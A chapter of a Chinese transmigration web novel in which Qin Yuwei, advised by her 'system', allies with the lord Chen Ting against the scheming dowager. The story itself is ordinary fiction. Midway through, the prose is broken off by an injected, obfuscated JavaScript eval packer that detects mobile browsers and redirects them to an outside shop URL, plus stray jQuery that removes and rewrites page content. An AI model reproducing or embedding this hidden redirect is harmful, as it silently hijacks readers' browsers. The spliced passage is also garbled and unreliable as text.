执夙轩
冬木将忱庭推进院里,回禀道:“主君,夏姨娘招了”
“先夫人是被她下药杀害,这其中也有太夫人手笔,但并未留下证据”
“既然没用,那就处理了。”忱庭漠然说道。
“是。”冬木应下,这才又说:“秦姨娘在院外求见。”
忱庭有些意外,“她?”
“是,秦姨娘说……说她想与您共用晚膳。”
忱庭闻言笑了声,“让她进来。”
“好我现在就赶她……!”冬木话说了一半,才反应过来,连忙改口:“我这就让她进来。”
…
执夙轩外,秦雨微站不住的四处张望,没过多久才有女侍出来领她进去。
一路上,无论她如何打探,女使始终保持沉默,秦雨微在她身上碰了一鼻子灰,默默把文档打开,把五分减到四分。
理由:重规矩,缺少人情味。
到了里屋,秦雨微终于见了忱庭,说了在执夙轩的第一句话,“妾身见过主君!”
“嗯。”忱庭不冷不热的睨了她眼。
秦雨微扬起标准狗腿笑,坐到饭桌的一边,暗暗跟系统叭叭:“一家之主吃的东西肯定比我院里的好吃。”
在忱庭动筷后,秦雨微兴致勃勃的也往嘴里塞了一大口……
呕!
秦雨微被恶心的直翻白眼,差点真的吐了出来。
咽下极其无味,充满食物原本味道的菜,秦雨微默默把四分减到两分。
理由:口味独特,菜不放盐,说明行事作风独特,很难猜透。
系统:“……”
一顿饭吃得秦雨微味同嚼蜡,只能细嚼慢咽的等忱庭放下筷子。
吃到最后,秦雨微又扣了一分,理由:吃饭磨叽,说明别的事上也磨叽。
就在秦雨微要把分扣完时,忱庭终于吃饱,开口:“既然今日来找我,那我便与你说清楚。”
“你是太夫人领进府的人,你若不想这顿饭成为你的断头饭,你就只给我能效命,对我言听计从。”
“主君说笑了,我进府时太夫人明明在后院礼佛呢,何来领我进门之说。”
秦雨微眼也不眨地就跟方如萱撇清关系。
闻言,忱庭漆黑的眼底浮起几丝意味不明的情绪,看起来并不信。
秦雨微又说:“主君有所不知,小人是个没志向的,在进忱府前只想寻个普通人家嫁了,平淡的过完一生。”
“只因父亲贪利,才将我送了进来。”秦雨微说的半真半假,
“忱府虽好,但终究不是小人想要的……”
忱庭视线凉薄的落在她脸上,问:“你是在跟我谈条件?”
“小人只是想为自己争一把!”秦雨微扑通一声跪到忱庭腿边,
“我自知有些小聪明,能为主君排忧解难,就请主君允我一份自由,让我能在事成之后,离开忱府做个普通百姓。”
秦雨微说完,紧张又期待地等着忱庭回复,但他没说话,一时间静的只剩下她急促的呼吸声。
不是吧——
秦雨微无声哀嚎起来,直到下巴被一只微凉的手抓住,苦瓜脸被迫抬起,她的哀嚎与系统的风凉话停歇下来。
对上一双漆黑看不透的瞳眸,秦雨微紧张到咽口水。
忱庭罕见的勾起唇角,“说说,我有何忧,又有何难。”
“不……我想于主君而言,称不上忧难,不过有只烦人的蚊蝇,要我这蚊蝇拍让主君不脏手罢了。”
忱庭被她的话惹笑,但却没让秦雨微有任何放松,她依旧紧绷地交代:
“太夫人与夏姨娘杀害先夫人,让忱府家宅不宁,主君想将两人除去,便主动将管家钥匙交给夏姨娘,用计离间她们。”
“但两人并未自相残杀而是保持某种平衡,相安无事。”
“主君想除夏姨娘轻而易举,但若除了便会给太夫人可乘之机。您只好另寻一人搅乱局面,找机会铲除太夫人。”
忱庭松开秦雨微,敛起笑意:“你倒是聪明。”
秦雨微一不敢笑,只说:“是小人想为主君效力心切。”
“真想割了你的舌头。”忱庭靠回轮椅里。
不咸不淡的一句话,吓得秦雨微咬紧牙关。
“冬木。”忱庭把冬木唤进来,秦雨微以为他真要砍人舌头,差点拔腿就跑。
好在忱庭又说:“把管家钥匙给她。”
“是。”冬木气势汹汹地从腰包里掏出钥匙,递给秦雨微。
秦雨微接了钥匙,明白自己投诚成功,这才恢复笑意,不由自主地狗腿起来:“谢主君赏识,我定不负主君期望!”
“再多说一字,我就让冬木砍了你舌头。”
“唔唔唔!”秦雨微只好用手比划,意思是她要回去睡大觉了。
当然她只敢朝忱庭比划前半句,忱庭撇了她一眼,“……滚吧。”
秦雨微兴高采烈地滚了。
她离开的飞快,根本没注意到身后,一直注视她离开的忱庭。
“主君,她可信吗?”冬木有些怀疑。
“有用便行。”忱庭收回眼神,看向饭桌上没动过的菜,“吩咐厨司以后做些味道正常的饭菜。”
“是。”冬木习惯性的应是,直到他明白过来忱庭说了什么,才惊奇道:“主君能尝的出味道了?”
“尝不出,只是看出来了。”忱庭闭上眼,不知怎么就想起秦雨微那时的表情,从期待到震惊再到恶心。
他第一次在一个人脸上看到如此明显浓烈的情感。
难吃到想吐吗?
“真的难吃到想吐!”
汀花阁内,秦雨微一边大口扒拉小厨房送来的饭菜,一边朝系统吐槽,“竟然一点味道都没有!亏我还期待半天。”
“……”
系统不想跟她掰扯菜不放盐,指着文档上忱庭底下仅有的一分问,“你为什么选忱庭?他是书中反派,风评口碑都不好。”
“而太夫人是男主母亲,在原书结局不错。虽然对儿子控制欲太过但一心礼佛待人宽厚不假。你选她不是更好?”
系统当时怎么劝秦雨微三思都没有,现在得了空,更是见缝插针地质问。
秦雨微吃饱了,擦擦嘴,打开苟命宝典,边记边说:“干系人分析补充,忱庭是最大反派,现是盟友;”
“太夫人是新高风险敌对源,佛口蛇心难搞,忱祁烨高风险敌对源的儿子,小风险致命源。”
“方如萱佛口蛇心?你怎么发现的?因为忱祁烨?”系统急了。
秦雨微点头,“嗯哼,忱祁烨明知道有人利用他,却还闷声应下,说明这人他在乎也惧怕,而能让他又怕又爱,并且能轻而易举拿到他衣衫的就只有一人……”
“太夫人,方如萱。”系统沉声出口,一边拼命扒拉原著,无声崩溃,书里怎么没写啊!
秦雨微点头,“所以,一个连自己儿子都能利用的人我怎么能放心为她干活。”
“再说忱庭虽然风评
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292839|198538||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不好,重规矩,口味不好,吃饭磨叽。”
“但他还是有些重情义的,先夫人替嫁,他不为难,还反倒为她报仇。”
“还有今日给我领路的女使,她头上戴配饰可是别院女使没有的。”
“看着就贵。”秦雨微眯着眼回想款式,下定决心:“等我发达了,也给月儿买!”
系统就喜欢说点找抽的话:“那月儿该等下辈子了。”
秦雨微抽他两下,出门溜达,消食。
结果还没溜达一圈,她就被太夫人派来的老嬷嬷拦住。
“秦姨娘,太夫人有请。”
“不去。”秦雨微眼也不眨地就拒绝。
“秦姨娘,莫要忘了你是如何进府的才是!”
“我坐轿到的府门,被女使压着进府,我没忘啊。”秦雨微装傻,油盐不进。
老嬷嬷算是明白她的意思,恶狠狠瞪了她眼,“你们秦家如此不讲信用,就别怪我们不客气!”
“您请便。”秦雨微笑笑
老嬷嬷气哼一声,愤愤离开。
秦雨微不在意的继续溜达。
而此时暗处跟着的人影无声消失。
拿了管家钥匙,秦雨微就算是有了实权,一般新官上任三把火,忱府院里头的奴仆们都更加卖力干活,但一连三天,他们那位新官秦姨娘一点动静都没有。
他们也有些松懈下来,觉着秦姨娘是个好说话的软脾气,就也恢复往日作风,甚至更加懒散。
这样的作风愈演愈烈,就连云舒也有了察觉,特地来汀花阁寻秦雨微。
“秦妹妹……”云舒还没来得及开口,身边就被安排了两位看起来力气大,很能干的老妈子
“这是?”云舒一下就懵了。
没过一会儿就听秦雨微说:“云姐姐,这两位嬷嬷给你,平常能帮你干事,要是有什么不三不四的人进你院子,她们也略懂些拳脚。”
云舒听愣了,还没反应过来,两位老妈子就朝她行礼。
她这才回神,应了她们,又坐到秦雨微身边去,问:“这两位信得过?”
“自己人。”秦雨微拍拍云舒的手示意她放心,“这三日我并非毫无动作,等时机一到,我自会清理蛀虫。”
“那就好那就好。”云舒宽心一笑,放心地领着两位女使离开汀花阁。
回去路上,云舒经过假山处时,忱祁烨闻风而动,刚想故技重施,就被她身边的两位女使打回去。
“我可是三公子!你们竟然敢打我?!”忱祁烨难以置信。
云舒怕给秦雨微惹麻烦,刚想让她们收手,就听其中一位女使说:“秦姨娘吩咐,不管几公子,只要云姨娘不愿意,就不能接近。”
“好啊好啊!”忱祁烨没办法,狼狈离开。
静安堂内,忱祁烨跪在佛像面前,脸上的狼狈还未去净。
方如萱从门外快步进来:“我儿!”
“秦雨微那贱人竟敢刁难你?!”
方如萱抓着忱祁烨双臂,浑身打量,“当初就算是夏昭秋都要敬你三分,她竟然敢如此!”
“母亲。”忱祁烨垂着头喊她,语气少了几分亲热。
方如萱没察觉到,心疼应他:“她今日的所作所为,我定让她加倍奉还!”
“……”忱祁烨几次欲言又止,最终选择沉默,没再多说什么便直接离开。
等他离开,方如萱才彻底露出本色,宛如一条毒蛇,向汀花阁吐信子,“去把叫刘德来。”
“是。”